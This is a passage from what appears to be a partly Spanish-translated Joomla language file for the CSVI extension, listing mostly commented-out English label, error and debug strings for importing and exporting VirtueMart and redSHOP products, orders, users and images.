              " ; COM_CSVI_EXPORT_MANUFACTURER_LABEL="Manufacturer" ; COM_CSVI_EXPORT_MANUFACTURER_DESC="Select one or multiple manufacturers to export only products from these manufacturers. To export all products, select All." ; COM_CSVI_ALL_MANUFACTURERS="All manufacturers" ; COM_CSVI_EXPORT_ORDER_CURRENCY_LABEL="Order currency" ; COM_CSVI_EXPORT_ORDER_CURRENCY_DESC="Select the currency to filter the orders on" ; COM_CSVI_EXPORT_ORDER_PRICE_LABEL="Order price" ; COM_CSVI_EXPORT_ORDER_PRICE_DESC="Specify the start and end price to filter the orders by price. The start and end price are included in the selection." ; COM_CSVI_EXPORT_ORDER_USER_LABEL="Order customer name" ; COM_CSVI_EXPORT_ORDER_USER_DESC="Select the customer name for which the orders need to be exported. Empty customer names are given the name <No name>." ; COM_CSVI_EXPORT_ORDER_PRODUCT_LABEL="Order product" ; COM_CSVI_EXPORT_ORDER_PRODUCT_DESC="Specify the product to export orders for" ; models/forms/com_virtuemart/export/orderitem.xml ; COM_CSVI_EXPORT_ORDER_ITEMS_NUMBER_LABEL="Order number" ; COM_CSVI_EXPORT_ORDER_ITEMS_NUMBER_DESC="Specify the start and end order number to filter the orders by number. The start and end number are included in the selection." ; COM_CSVI_EXPORT_ORDER_ITEMS_DATE_LABEL="Order date" ; COM_CSVI_EXPORT_ORDER_ITEMS_DATE_DESC="Specify the start and end date to filter the orders by date. The start and end date are included in the selection." ; COM_CSVI_EXPORT_ORDER_ITEMS_MODIFIED_DATE_LABEL="Order modified date" ; COM_CSVI_EXPORT_ORDER_ITEMS_MODIFIED_DATE_DESC="Specify the start and end date to filter the orders by their last modification date. The start and end date are included in the selection." ; COM_CSVI_EXPORT_ORDER_ITEMS_STATUS_LABEL="Order status" ; COM_CSVI_EXPORT_ORDER_ITEMS_STATUS_DESC="Select the order status to filter the orders by their status" ; COM_CSVI_EXPORT_ORDER_ITEMS_CURRENCY_LABEL="Order currency" ; COM_CSVI_EXPORT_ORDER_ITEMS_CURRENCY_DESC="Select the currency to filter the orders on" ; COM_CSVI_EXPORT_ORDER_ITEMS_PRICE_LABEL="Order price" ; COM_CSVI_EXPORT_ORDER_ITEMS_PRICE_DESC="Specify the start and end price to filter the orders by price. The start and end price are included in the selection." ; COM_CSVI_EXPORT_ORDER_ITEMS_PRODUCT_LABEL="Order product" ; COM_CSVI_EXPORT_ORDER_ITEMS_PRODUCT_DESC="Specify the product to export orders for" ; models/forms/com_virtuemart/export/product.xml ; COM_CSVI_EXPORT_PRODUCT_SEF_LABEL="Export SEF URLs?" ; COM_CSVI_EXPORT_PRODUCT_SEF_DESC="Select if the product URL should be a SEF URL or a regular URL" ; COM_CSVI_EXPORT_PRODUCT_URL_SUFFIX_LABEL="Product URL suffix" ; COM_CSVI_EXPORT_PRODUCT_URL_SUFFIX_DESC="The value entered in the box here will be appended to the product url" ; COM_CSVI_EXPORT_PRODUCT_FEATURED_FILTER_LABEL="Featured" ; COM_CSVI_EXPORT_PRODUCT_FEATURED_FILTER_DESC="Select to only export products that are set to featured" ; COM_CSVI_EXPORT_PRODUCT_JOOMFISH_TRANSLATION_LABEL="Use JoomFish translation?" ; COM_CSVI_EXPORT_PRODUCT_JOOMFISH_TRANSLATION_DESC="Select yes to export JoomFish translated data" ; COM_CSVI_EXPORT_PRODUCT_JOOMFISH_LANGUAGE_LABEL="JoomFish language" ; COM_CSVI_EXPORT_PRODUCT_JOOMFISH_LANGUAGE_DESC="Select which language to export" ; COM_CSVI_EXPORT_PRODUCT_CATEGORY_LABEL="Category" ; COM_CSVI_EXPORT_PRODUCT_CATEGORY_DESC="Select 1 or more categories to export." ; COM_CSVI_EXPORT_CATEGORY_STATE_LABEL="Category state" ; COM_CSVI_EXPORT_CATEGORY_STATE_DESC="Select if the category should be both, published or unpublished" ; COM_CSVI_EXPORT_PRODUCT_INCLUDE_SUBCATEGORY_LABEL="Include subcategories" ; COM_CSVI_EXPORT_PRODUCT_INCLUDE_SUBCATEGORY_DESC="If set to yes, subcategories will be automatically selected for export" ; COM_CSVI_EXPORT_PRODUCT_PARENT_ONLY_LABEL="Parent products only" ; COM_CSVI_EXPORT_PRODUCT_PARENT_ONLY_DESC="Select this to export only parent products and products without child products." ; COM_CSVI_EXPORT_PRODUCT_CHILD_ONLY_LABEL="Child products only" ; COM_CSVI_EXPORT_PRODUCT_CHILD_ONLY_DESC="Select this to export only child products and products without child products." ; COM_CSVI_EXPORT_PRODUCT_SKU_FILTER_LABEL="Product SKU filter" ; COM_CSVI_EXPORT_PRODUCT_SKU_FILTER_DESC="Specify the filter to select products where the product SKU matches the filter. For example: AGH2% to match AGH2A, %AGH2% to match ZAGH2B, or AGH2 to match AGH2. Multiple SKUs can be entered but need to be separated with a comma. For example AGH2%,BFT" ; COM_CSVI_PRICE_GREATER_THAN="greater than" ; COM_CSVI_PRICE_EQUAL="equal to" ; COM_CSVI_PRICE_LOWER_THAN="lower than" ; COM_CSVI_PRICE_BETWEEN="between" ; COM_CSVI_EXPORT_PRODUCT_PRICE_LABEL="Price filter" ; COM_CSVI_EXPORT_PRODUCT_PRICE_DESC="Filter on product price. Prices are excluding tax" ; COM_CSVI_EXPORT_PRODUCT_STOCK_LEVEL_LABEL="Stock level" ; COM_CSVI_EXPORT_PRODUCT_STOCK_LEVEL_DESC="Specify the start and end level to filter the products by stock level. The start and end levels are included in the selection." ; COM_CSVI_EXPORT_CURRENCY_LABEL="Target currency" ; COM_CSVI_EXPORT_CURRENCY_DESC="Select the currency to use in the exported file. Note: Load exchange rates (maintenance section) must have been used to get the latest exchange rates." ; COM_CSVI_EXPORT_SHOPPER_GROUP_NAME_LABEL="Shopper group name" ; COM_CSVI_EXPORT_SHOPPER_GROUP_NAME_DESC="Select a shopper group name to export products of that particular shopper group." ; COM_CSVI_ALL_SHOPPERGROUPS="All shopper groups" ; COM_CSVI_EXPORT_CUSTOM_TITLE_LABEL="Custom field title" ; COM_CSVI_EXPORT_CUSTOM_TITLE_DESC="Select one or more custom fields to filter on. This does not limit the products but it does limit the custom fields exported per product" ; models/forms/com_virtuemart/export/userinfo.xml ; COM_CSVI_EXPORT_USER_INFO_ADDRESS_LABEL="User address type" ; COM_CSVI_EXPORT_USER_INFO_ADDRESS_DESC="Select the type of address to filter users on." ; COM_CSVI_EXPORT_USER_INFO_PERMS_LABEL="User permission" ; COM_CSVI_EXPORT_USER_INFO_PERMS_DESC="Select the permission to filter users on." ; COM_CSVI_EXPORT_USER_INFO_MODIFIED_DATE_LABEL="User modified date" ; COM_CSVI_EXPORT_USER_INFO_MODIFIED_DATE_DESC="Specify the start and end date to filter the users by their last modification date. The start and end date are included in the selection." ; models/forms/com_redshop/export/product.xml ; COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_START_LABEL="Price quantity start" ; COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_START_DESC="Set the price quantity start levels to filter for selected prices." ; COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_END_LABEL="Price quantity end" ; COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_END_DESC="Set the price quantity end levels to filter for selected prices." ; models/fields/csvijoomfishlanguage.php ; COM_CSVI_NO_LANGUAGES_FOUND="No JoomFish languages found" ; models/com_virtuemart/import/calcimport.php ; COM_CSVI_UPDATE_CALC="Custom field updated" ; COM_CSVI_ADD_CALC="Custom field added" ; COM_CSVI_CALC_CATEGORY_QUERY="Calculation rules category query" ; COM_CSVI_CALC_COUNTRY_QUERY="Calculation rules country query" ; COM_CSVI_CALC_SHOPPERGROUP_QUERY="Calculation rules shopper group query" ; COM_CSVI_CALC_STATE_QUERY="Calculation rules state query" ; COM_CSVI_CALC_NOT_ADDED="Error processing custom field: %s" ; COM_CSVI_CALC_QUERY="Custom field query" ; models/com_virtuemart/import/categoryimport.php ; COM_CSVI_NO_CATEGORY_PATH_SET="No category path set" ; COM_CSVI_COULD_NOT_FIND_A_CATEGORY_ID="Could not find a category ID" ; COM_CSVI_CATEGORY_NAME_NO_MATCH_CATEGORY_PATH="Category name does not match category path. Make sure that the category_name field matches the last category in category_path field." ; COM_CSVI_UPDATE_CATEGORY_DETAILS="Category details updated" ; COM_CSVI_ADD_CATEGORY_DETAILS="Category details added" ; COM_CSVI_CATEGORY_DETAILS_NOT_ADDED="Error processing category details: %s" ; COM_CSVI_UPDATE_CATEGORY_LANG="Category language updated" ; COM_CSVI_ADD_CATEGORY_LANG="Category language added" ; COM_CSVI_CATEGORY_LANG_NOT_ADDED="Category language not added %s" ; COM_CSVI_CATEGORY_DETAILS_QUERY="Category details query" ; COM_CSVI_CATEGORY_DELETED="Category has been deleted" ; COM_CSVI_DEBUG_DELETE_CATEGORY_LANG_XREF="Delete category language reference" ; COM_CSVI_DEBUG_DELETE_CATEGORY_XREF="Delete category cross reference" ; COM_CSVI_DEBUG_DELETE_MEDIA_XREF="Delete media reference" ; COM_CSVI_DEBUG_DELETE_PRODUCT_CATEGORY_XREF="Delete category product reference" ; COM_CSVI_CATEGORY_NOT_DELETED="Category has not been deleted" ; models/com_virtuemart/import/couponimport.php ; COM_CSVI_UPDATE_COUPON="Coupon updated" ; COM_CSVI_ADD_COUPON="Coupon added" ; COM_CSVI_COUPON_NOT_ADDED="Error processing coupon: %s" ; COM_CSVI_COUPON_QUERY="Coupon query" ; models/com_virtuemart/import/customfieldimport.php ; COM_CSVI_NO_PLUGIN_FOUND="No plugin found by the name %s" ; COM_CSVI_UPDATE_CUSTOMFIELD="Custom field updated" ; COM_CSVI_ADD_CUSTOMFIELD="Custom field added" ; COM_CSVI_CUSTOMFIELD_NOT_ADDED="Error processing custom field: %s" ; COM_CSVI_CUSTOMFIELD_QUERY="Custom field query" ; COM_CSVI_FIND_USER_ID="Finding user ID" ; models/com_virtuemart/import/manufacturercategoryimport.php ; COM_CSVI_NO_MANUFACTURERCATEGORY_PATH_SET="No manufacturer category path has been set" ; COM_CSVI_DELETE_MANUFACTURER_CATEGORY="Deleting the manufacturer category" ; COM_CSVI_MANUFACTURER_CAT_DELETED="Manufacturer category deleted" ; COM_CSVI_MANUFACTURER_CAT_NOT_DELETED="Error deleting manufacturer category: %s" ; COM_CSVI_IGNORE_NON_EXIST_DATA="Data does not exist: %s" ; COM_CSVI_UPDATE_MANUFACTURER_CATEGORY="Manufacturer category updated" ; COM_CSVI_ADD_MANUFACTURER_CATEGORY="Manufacturer category added" ; COM_CSVI_MANUFACTURER_CATEGORY_NOT_ADDED="Error processing manufacturer category: %s" ; COM_CSVI_UPDATE_MANUFACTURERCATEGORY_LANG="Manufacturer category language updated" ; COM_CSVI_ADD_MANUFACTURERCATEGORY_LANG="Manufacturer category language added" ; COM_CSVI_MANUFACTURERCATEGORY_LANG_NOT_ADDED="Error processing manufacturer category language: %s" ; COM_CSVI_MANUFACTURER_CATEGORY_QUERY="Manufacturer category query" ; models/com_virtuemart/import/manufacturerimport.php ; COM_CSVI_UPDATE_MANUFACTURER="Manufacturer updated" ; COM_CSVI_ADD_MANUFACTURER="Manufacturer added" ; COM_CSVI_MANUFACTURER_NOT_ADDED="Error processing manufacturer: %s" ; COM_CSVI_MANUFACTURER_QUERY="Manufacturer query" ; COM_CSVI_UPDATE_PRODUCT_LANG="Product language updated" ; COM_CSVI_ADD_PRODUCT_LANG="Product language added" ; COM_CSVI_PRODUCT_LANG_NOT_ADDED="Error processing product language: %s" ; COM_CSVI_MANUFACTURER_LANG_QUERY="Manufacturer language query" ; COM_CSVI_MANUFACTURER_XREF_DELETED="Manufacturer cross reference deleted" ; COM_CSVI_MANUFACTURER_XREF_NOT_DELETED="Error deleting manufacturer cross reference: %s" ; COM_CSVI_DEBUG_DELETE_MANUFACTURER_LANG_XREF="Delete manufacturer language" ; COM_CSVI_DELETE_MANUFACTURER="Manufacturer deleted" ; COM_CSVI_MANUFACTURER_NOT_DELETED="Error deleting manufacturer: %s" ; COM_CSVI_MANUFACTURER_NOT_DELETED_NO_ID="Manufacturer not deleted, no ID has been found" ; tables/com_virtuemart/manufacturers_lang.php ; COM_CSVI_CHECK_MANUFACTURER_SLUG="Check manufacturer slug" ; models/com_virtuemart/import/mediaimport.php ; COM_CSVI_UPDATE_MEDIAFILE="Media file updated" ; COM_CSVI_ADD_MEDIAFILE="Media file added" ; COM_CSVI_MEDIAFILE_NOT_ADDED="Error processing media file: %s" ; COM_CSVI_MEDIAFILE_QUERY="Media file query" ; COM_CSVI_DEBUG_DELETE_PRODUCT_XREF="Deleted product reference" ; COM_CSVI_MEDIA_DELETED="Media %s deleted" ; COM_CSVI_MEDIA_NOT_DELETED="Media %s has not been deleted" ; COM_CSVI_CREATED_FILE_URL="Constructed file URL: %s" ; models/com_virtuemart/import/orderimport.php ; COM_CSVI_DEBUG_RETRIEVE_USER_ID="Retrieve user ID" ; COM_CSVI_DEBUG_LOAD_USER_DETAILS="Load user details" ; COM_CSVI_NOT_PROCESS_USER="Cannot process user, no user ID found" ; COM_CSVI_DEBUG_LOAD_ORDER_ID="Load order by ID" ; COM_CSVI_DEBUG_CREATE_ORDER_NUMBER="Create order number" ; COM_CSVI_DEBUG_NOT_CREATE_ORDER_NUMBER="Not creating order number, order number is supplied" ; COM_CSVI_DEBUG_CREATE_ORDER_PASS="Create an order pass" ; COM_CSVI_ORDER_QUERY="Order query" ; COM_CSVI_UPDATE_ORDER="Order updated" ; COM_CSVI_ADD_ORDER="Order added" ; COM_CSVI_ORDER_NOT_ADDED="Error processing order: %s" ; COM_CSVI_DEBUG_LOAD_ORDER_INFO_ID="Load the order info ID" ; COM_CSVI_DEBUG_LOAD_ORDER_INFO="Load the order info" ; COM_CSVI_DEBUG_LOAD_USER_ORDER_INFO="Load the user info" ; COM_CSVI_UPDATE_ORDERUSER="Order user updated" ; COM_CSVI_ADD_ORDERUSER="Order user added" ; COM_CSVI_ORDERUSER_NOT_ADDED="Error processing order user: %s" ; COM_CSVI_ORDERUSER_QUERY="Order user query" ; COM_CSVI_CREATE_BILLING_QUERY="Create billing address query" ; COM_CSVI_UPDATE_ORDER_HISTORY="Order history updated" ; COM_CSVI_ADD_ORDER_HISTORY="Order history added" ; COM_CSVI_ORDER_PAYMNET_NOT_ADDED="Error processing order payment: %s" ; COM_CSVI_ORDER_HISTORY_QUERY="Order history query" ; models/com_virtuemart/import/orderitemimport.php ; COM_CSVI_NO_ORDER_ID_FOUND="No order ID found" ; COM_CSVI_NO_PRODUCT_ID_FOUND="No product ID found" ; COM_CSVI_NO_PRODUCT_ID_OR_SKU="No product ID or product SKU found" ; COM_CSVI_UPDATE_ORDER_ITEM="Order item updated" ; COM_CSVI_ADD_ORDER_ITEM="Order item added" ; COM_CSVI_ORDER_ITEM_NOT_ADDED="Error processing order item: %s" ; COM_CSVI_ORDER_ITEM_QUERY="Order item query" ; models/com_virtuemart/import/productimport.php ; COM_CSVI_LANG_TABLE_NOT_EXIST="Language tables for the %s language do not exist. Check your database for inconsistencies. Did you configure VirtueMart correctly?" ; COM_CSVI_DATA_EXISTS_PRODUCT_SKU="Data exists :: Product SKU: %s" ; COM_CSVI_DEBUG_NO_SKU="No product SKU found" ; COM_CSVI_DEBUG_NO_SKU_OR_ID="No product SKU or ID found" ; COM_CSVI_DEBUG_PROCESS_SKU="Processing SKU: %s" ; COM_CSVI_NO_PRODUCT_ID_NO_DELETE="No product ID found for %s, cannot delete product" ; COM_CSVI_DATA_EXISTS_IGNORE_NEW="Product %s not updated because ignore non-existing items enabled" ; COM_CSVI_DEBUG_CHILD_PRODUCT_NO_HANDLING="Child product, not doing any category handling" ; COM_CSVI_DEBUG_PRODUCT_PARENT_SKU="Finding product parent SKU for child product" ; COM_CSVI_UPDATE_PRODUCT_SKU="Product updated" ; COM_CSVI_ADD_PRODUCT_SKU="Product added" ; COM_CSVI_PRODUCT_NOT_ADDED="Error processing product: %s" ; COM_CSVI_PRODUCT_QUERY="Product query" ; COM_CSVI_PRODUCT_LANG_QUERY="Product language query" ; COM_CSVI_PROCESS_RELATED_PRODUCTS="Process related products" ; COM_CSVI_DEBUG_RELATED_PRODUCTS="Could not store related products" ; COM_CSVI_NO_RELATED_PRODUCTS_FOUND="No related products found" COM_CSVI_DEBUG_MANUFACTURER_IMPORT="Importar fabricante" ; COM_CSVI_DEBUG_PROCESS_MANUFACTURER_PRODUCT="Process manufacturer cross reference" ; COM_CSVI_DEBUG_CHILD_NO_PRICE="Child product and empty price, not adding so it will take the price of the parent product" ; COM_CSVI_DEBUG_FOUND_DEFAULT_SHOPPER_GROUP="Found default shopper group ID: %s" ; COM_CSVI_PRICE_QUERY_NO_SHOPPER_GROUP="No shopper group found" ; COM_CSVI_DEBUG_PRICE_QUERY_NO_SHOPPER_GROUP="Could not find a shopper group ID" ; COM_CSVI_DEBUG_PRICE_QUERY="Storing price" ; COM_CSVI_DEBUG_PROCESSING_DISCOUNT="Processing discount" ; COM_CSVI_DEBUG_ADD_DISCOUNT="Add discount" ; COM_CSVI_DEBUG_NO_DISCOUNT="No discount has been found" ; COM_CSVI_DEBUG_GET_MANUFACTURER_ID_SKU="Rertrieve manufacturer ID based on product SKU" ; COM_CSVI_DEBUG_GET_MANUFACTURER_ID_ID="Retrieve manufacturer ID based on product ID" ; COM_CSVI_DEBUG_GET_DEFAULT_MANUFACTURER_ID="Get default manufacturer ID" ; COM_CSVI_GENERATE_IMAGE_NAME="Auto generate image name" ; COM_CSVI_CREATE_PRODUCT_SKU_NAME="Product SKU name" ; COM_CSVI_CANNOT_FIND_PRODUCT_SKU="Cannot find a product SKU" ; COM_CSVI_CREATE_PRODUCT_NAME_NAME="Product name name" ; COM_CSVI_CANNOT_FIND_PRODUCT_NAME="Cannot find a product name" ; COM_CSVI_CREATE_PRODUCT_ID_NAME="Product ID name" ; COM_CSVI_CANNOT_FIND_PRODUCT_ID="Cannot find a product ID" ; COM_CSVI_CREATE_RANDOM_NAME="Random name" ; COM_CSVI_CREATED_IMAGE_NAME="Generated image name: %s" ; COM_CSVI_DEBUG_DELETE_PRODUCT_LANG_XREF="Delete product language" ; COM_CSVI_DEBUG_DELETE_MANUFACTURER_XREF="Delete manufacturer cross reference" ; COM_CSVI_DEBUG_DELETE_PRODUCT_PARENT="Reset product parent IDs" ; COM_CSVI_DEBUG_DELETE_PRICES_XREF="Delete prices cross reference" ; COM_CSVI_DEBUG_DELETE_SHOPPERGROUP_XREF="Delete shoppergroup cross reference" ; COM_CSVI_DEBUG_DELETE_CUSTOMFIELDS_XREF="Delete custom fields cross reference" ; COM_CSVI_DEBUG_DELETE_RATINGS_XREF="Delete ratings cross reference" ; COM_CSVI_DEBUG_DELETE_RATING_REVIEWS_XREF="Delete rating reviews cross reference" ; COM_CSVI_DEBUG_DELETE_RATING_VOTES_XREF="Delete rating votes cross reference" ; COM_CSVI_AUTO_TAX_RATE="CSVI created tax rule" ; COM_CSVI_AUTO_TAX_RATE_DESC="CSVI created this tax rule on product import because no matching tax rate was found" ; COM_CSVI_ADD_TAX_RATE="Add tax rate" ; COM_CSVI_DEBUG_PROCESSING_TAX="Process product tax" ; COM_CSVI_REMOVE_EXISTING_CUSTOM_VALUES="Remove existing custom values" ; COM_CSVI_DEBUG_CUSTOMFIELD_QUERY="Custom field query" ; COM_CSVI_VM_NOSUPPORT_URL="VirtueMart does not support external images" ; COM_CSVI_RESET_THUMB_NOHTTP="Thumbnail url (%s) has been removed since VirtueMart does not support external images" ; COM_CSVI_NO_CUSTOM_ID_FOUND="No custom field ID found" ; models/com_virtuemart/import/ratingimport.php ; COM_CSVI_UPDATE_PRODUCT_REVIEW="Product review updated" ; COM_CSVI_ADD_PRODUCT_REVIEW="Product review added" ; COM_CSVI_PRODUCT_REVIEW_NOT_ADDED="Error processing product review: %s" ; COM_CSVI_PRODUCT_REVIEW_QUERY="Product review query" ; COM_CSVI_PRODUCT_REVIEW_NO_PRODUCT_ID="No product ID found, make sure the product exists in your system" ; models/com_virtuemart/import/shopperfieldimport.php ; COM_CSVI_UPDATE_SHOPPERFIELD="Shopper field updated" ; COM_CSVI_ADD_SHOPPERFIELD="Shopper field added" ; COM_CSVI_USERINFO_TABLE_QUERY="Alter the userinfos table" ; COM_CSVI_SHOPPERFIELD_NOT_ADDED="Error processing shopper field: %s" ; COM_CSVI_SHOPPERFIELD_QUERY="Shopper field query" ; COM_CSVI_GET_FIELD_ID="Load the field ID for a fieldname" ; COM_CSVI_DEBUG_DELETE_USERINFOS_FIELD="Delete userinfos field: %s" ; models/com_virtuemart/import/userinfoimport.php ; COM_CSVI_MISSING_REQUIRED_FIELDS="The fields user_id or user_email or address_type or address_type_name is missing" ; COM_CSVI_DEBUG_FIND_USER_ID_FROM_VM="Find the user ID from VirtueMart" ; COM_CSVI_DEBUG_FIND_USER_ID_FROM_JOOMLA="Find the user ID from Joomla" ; COM_CSVI_DEBUG_FIND_USER_INFO_ID="Find user info ID" ; COM_CSVI_NO_NEW_USER_PASSWORD_EMAIL="New users must have an e-mail address and a password field on import" ; COM_CSVI_NO_USERGROUP_FOUND="No user group ID found for %s" ; COM_CSVI_DEBUG_JOOMLA_USER_STORED="Joomla user stored" ; COM_CSVI_DEBUG_JOOMLA_USER_MAP_STORED="Joomla user map stored" ; COM_CSVI_DEBUG_JOOMLA_USER_MAP_NOT_STORED="Joomla user ARO not stored" ; COM_CSVI_DEBUG_JOOMLA_USER_NOT_STORED="Joomla user not stored" ; COM_CSVI_DEBUG_JOOMLA_USER_SKIPPED="Joomla user skipped, no e-mail provided" ; COM_CSVI_NO_USERINFO_ID_CREATED="Cannot create a userinfo ID" ; COM_CSVI_UPDATE_USERINFO="User info updated" ; COM_CSVI_ADD_USERINFO="User info added" ; COM_CSVI_USERINFO_NOT_ADDED="Error processing user info: %s" ; COM_CSVI_USERINFO_QUERY="User info query" ; COM_CSVI_UPDATE_SHOPPER_GROUP="Shopper group updated" ; COM_CSVI_ADD_SHOPPER_GROUP="Shopper group added" ; COM_CSVI_SHOPPER_GROUP_NOT_ADDED="Error processing shopper group: %s" ; COM_CSVI_SHOPPER_GROUP_QUERY="Shopper group query" ; COM_CSVI_UPDATE_VMUSERS="Update VM Users" ; COM_CSVI_ADD_VMUSERS="Add VM Users" ; COM_CSVI_VMUSERS_NOT_ADDED="Error processing VM Users: %s" ; COM_CSVI_VMUSERS_QUERY="VM Users query" ; models/com_virtuemart/import/waitinglistimport.php ; COM_CSVI_WAITINGLIST_NO_USER_FOUND="No user can be found" ; COM_CSVI_WAITINGLIST_NO_PRODUCT_FOUND="No product can be found" ; COM_CSVI_UPDATE_WAITINGLIST="Waiting list updated" ; COM_CSVI_ADD_WAITINGLIST="Waiting list added" ; COM_CSVI_WAITINGLIST_NOT_ADDED="Error processing waiting list: %s" ; COM_CSVI_WAITINGLIST_QUERY="Waiting list query" ; COM_CSVI_WAITINGLIST_NO_USER_PRODUCT_ID="No product ID or user ID or notify email found. Check if there is a product_sku and username and notify_email is included in the import file." ; models/com_virtuemart/export/calcexport.php ; COM_CSVI_EXPORT_QUERY="Export query" ; COM_CSVI_ERROR_RETRIEVING_DATA="An error occurred retrieving data from database. Error %s" ; COM_CSVI_NO_DATA_FOUND="No data has been found for the selection criteria" ; models/com_redshop/import/productimport.php ; COM_CSVI_DEBUG_DELETE_PRODUCT_TYPE_XREF="Delete product type cross reference" ; COM_CSVI_DEBUG_PRODUCT_TYPE_ID_NOT_FOUND="No product type ID found. Does the product type name exist?" ; COM_CSVI_PRODUCT_TYPE_ID_NOT_FOUND="Product type name not found: %s" ; COM_CSVI_PROCESS_TAX="Processing tax" ; COM_CSVI_DEBUG_ADDING_ATTRIBUTES="Adding attributes" ; COM_CSVI_DEBUG_STORE_ATTRIBUTE="Store attribute" ; COM_CSVI_DEBUG_ATTRIBUTE_INCORRECT="Attribute is incorrect: %s" ; COM_CSVI_DEBUG_ADD_ATTRIBUTE_VALUES="Adding attribute values" ; COM_CSVI_DEBUG_NO_VALID_ATTRIBUTE="Attribute value is incorrect: %s" ; models/com_redshop/export/productexport.php ; COM_CSVI_NO_DOMAINNAME_SET="No domain name has been set in the Settings, cannot create a SEF URL" ; COM_CSVI_LOAD_PRODUCT_TYPES="Load the product types" ; COM_CSVI_LOAD_PRODUCT_TYPE_NAME_DATA="Load the product type names data" ; models/com_csvi/import/customimport.php ; COM_CSVI_UPDATE_CUSTOM_FIELD="Custom field updates" ; COM_CSVI_ADD_CUSTOM_FIELD="Custom field added" ; COM_CSVI_CUSTOM_FIELD_NOT_ADDED="Error processing custom field: %s" ; COM_CSVI_CUSTOM_FIELD_QUERY="Custom field query" ; helpers/com_virtuemart.php ; COM_CSVI_FIND_PRODUCT_SKU="Find product ID based on product SKU" ; COM_CSVI_FIND_PRODUCT_MPN="Find product ID based on custom SKU" ; COM_CSVI_FIND_PRODUCT_CHILD_PARENT_SKU="Find parent product ID" ; COM_CSVI_FIND_PRODUCT_CHILD_SKU="Find child product ID" ; COM_CSVI_FIND_PRODUCT_SKU_BASED_CHILD="Finding product ID based on child product only because there is no parent" ; COM_CSVI_NO_CHILD_NO_PARENT="No parent and/or child SKU found" ; COM_CSVI_CHECK_VENDOR_EXISTS="Check to see if the vendor ID exists" ; COM_CSVI_DEBUG_SHOPPER_GROUP_NAME="Get the shopper group name" ; COM_CSVI_DEBUG_GET_DEFAULT_SHOPPER_GROUP="Get the default shopper group name" ; COM_CSVI_DEBUG_GET_CURRENCY_ID="Get the currency ID" ; COM_CSVI_DEBUG_GET_COUNTRY_ID="Get the country ID" ; COM_CSVI_DEBUG_GET_STATE_ID="Get the state ID" ; COM_CSVI_CANNOT_GET_CATEGORY_ID="Cannot get category ID" ; helpers/cron.php ; COM_CSVI_PROCESSING_STARTED="Processing started: %s" COM_CSVI_TEMPLATE="Nombre de Plantilla: %s" ; COM_CSVI_NO_TEMPLATE_FOUND="No template found with the name or ID: %s" ; COM_CSVI_NO_TEMPLATE_SPECIFIED="No template has been specified" ; COM_CSVI_PROCESSING_FINISHED="Processing finished: %s" ; COM_CSVI_PROCESSING_SECONDS="Process ran for %d seconds" ; COM_CSVI_PROCESSING_MINUTES="Process ran for %d minutes" ; COM_CSVI_NO_ARGUMENTS="No options have been specified" ; COM_CSVI_PROBLEM_LOGOUT_USER="An error occured logging out user" ; COM_CSVI_USER_LOGGED_OUT="User has been logged out" ; helpers/csvi.php ; COM_CSVI_HELP="Help" COM_CSVI_SETTINGS="Ajustes" ; helpers/file.php ; COM_CSVI_CANNOT_UNPACK_UPLOADED_FILE="Cannot unpack uploaded file" ; COM_CSVI_THE_UPLOADED_FILE_EXCEEDS_THE_MAXIMUM_UPLOADED_FILE_SIZE="The uploaded file exceeds the maximum uploaded file size" ; COM_CSVI_THE_UPLOADED_FILE_WAS_ONLY_PARTIALLY_UPLOADED="The uploaded file was only partially uploaded" ; COM_CSVI_NO_FILE_WAS_UPLOADED="No file was uploaded" ; COM_CSVI_MISSING_A_TEMPORARY_FOLDER="Missing a temporary folder" ; COM_CSVI_FAILED_TO_WRITE_FILE_TO_DISK="Failed to write file to disk" ; COM_CSVI_FILE_UPLOAD_STOPPED_BY_EXTENSION="File upload stopped by extension" ; COM_CSVI_THERE_WAS_A_PROBLEM_UPLOADING_THE_FILE="There was a problem uploading the file" ; COM_CSVI_LOCAL_FILE_DOESNT_EXIST="Cannot find the file %s for import" ; COM_CSVI_RETRIEVE_FROM_URL="Retrieved from URL: %s" ; COM_CSVI_CANNOT_READ_FROM_URL="Cannot read file from URL" ; COM_CSVI_CANNOT_CREATE_TEMP_FILE="Cannot create temporary file: %s" ; COM_CSVI_CANNOT_CREATE_TEMP_FOLDER="Cannot create temporary folder: %s" ; COM_CSVI_NO_FILENAME_GIVEN="No filename has been given" ; COM_CSVI_RETRIEVE_FROM_FTP="Retrieved from FTP: %s" ; COM_CSVI_CANNOT_READ_FROM_FTP="Cannot read file from FTP" ; COM_CSVI_NO_FILE_PROVIDED="No filename has been given" ; COM_CSVI_EXTENSION_NOT_ACCEPTED="Extension is unknown. Only .csv, .txt, .xls, .ods, .xml are supported but .%s was found. Continuing assuming it is a CSV file." ; COM_CSVI_IMPORT_FILETYPE="Importing filetype: %s" ; helpers/icecat.php ; COM_CSVI_FIND_ICECAT_ID="Looking for ICEcat ID" ; COM_CSVI_ICECAT_ERROR_XML="Error encountered retrieving XML file: %s" ; COM_CSVI_ICECAT_FOUND_FEATURE="Found product type: %s" ; COM_CSVI_CALL_ICECAT_URL="Calling ICEcat URL: %s" ; helpers/images.php ; COM_CSVI_SAVING_NEW_IMAGE="Saving new image" ; COM_CSVI_CANNOT_READ_ORIGINAL_IMAGE="Cannot read full image file" ; COM_CSVI_NO_FILE_EXTENSION="No file extension found" ; COM_CSVI_DEBUG_FILE_NOT_FOUND="File not found: %s" ; COM_CSVI_DEBUG_PROCESS_IMAGE="Process full image" ; COM_CSVI_DEBUG_FILE_IS_NOT_IMAGE="File is not an image file" ; COM_CSVI_DEBUG_PROCESS_NON_IMAGE="Process a non-image file" ; COM_CSVI_CREATE_THUMB_FOLDER="Creating thumbnail folder: %s" ; COM_CSVI_CHECK_ORIGINAL="Check original file %s for thumbnail creation" ; COM_CSVI_DEBUG_CREATING_A_THUMBNAIL="Creating a thumbnail from %s to %s" ; COM_CSVI_DEBUG_THUMB_CREATED="Thumbnail has been created" ; COM_CSVI_THUMBNAIL_NOT_CREATED="Thumbnail has not been created" ; COM_CSVI_FILE_DOES_NOT_EXIST_NOTHING_TO_DO="File %s does not exist. Nothing to do." ; COM_CSVI_THUMBNAIL_SIZE_TOO_SMALL="Thumbnail size in the settings is too small" ; COM_CSVI_REMOTE_FILE_NOT_FOUND="Remote file not found: %s" ; COM_CSVI_DEBUG_CONVERT_IMAGE="Converting image %s --> %s" ; 